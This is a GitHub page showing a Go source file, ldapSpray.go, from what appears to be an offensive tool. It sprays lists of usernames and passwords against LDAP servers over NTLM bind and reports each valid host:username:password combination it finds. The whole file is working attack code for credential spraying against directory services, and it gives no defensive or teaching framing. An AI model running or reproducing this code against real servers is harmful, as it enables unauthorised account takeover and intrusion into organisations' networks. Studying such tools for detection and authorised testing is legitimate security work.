-
Notifications
You must be signed in to change notification settings - Fork 7
/
ldapSpray.go
47 lines (41 loc) · 1.07 KB
/
ldapSpray.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package main
import (
"fmt"
"github.com/go-ldap/ldap/v3"
"strconv"
"sync"
)
func ldapSpray(wg *sync.WaitGroup, channelToCommunicate chan string, taskToRun task, storeResult *int) {
defer wg.Done()
internalCounter := 0
for _,taskTarget := range taskToRun.targetsRaw {
temporaryTarget := parseTarget(taskTarget)
taskToRun.target = temporaryTarget
if taskToRun.target.port == 0 {
taskToRun.target.port = 389
}
for _,password := range taskToRun.passwords {
for _,username := range taskToRun.usernames {
if internalCounter >= *storeResult {
conn, err := ldap.DialURL("ldap://"+taskToRun.target.host+":"+strconv.Itoa(taskToRun.target.port))
req := &ldap.NTLMBindRequest{
Domain: "test",
Username: username,
Password: password,
}
_,err = conn.NTLMChallengeBind(req)
if err != nil {
fmt.Print("-")
} else {
fmt.Print("+")
channelToCommunicate <- taskToRun.target.host + ":" + username+":"+password
}
//conn.Close()
*storeResult++
} else {
}
internalCounter++
}
}
}
}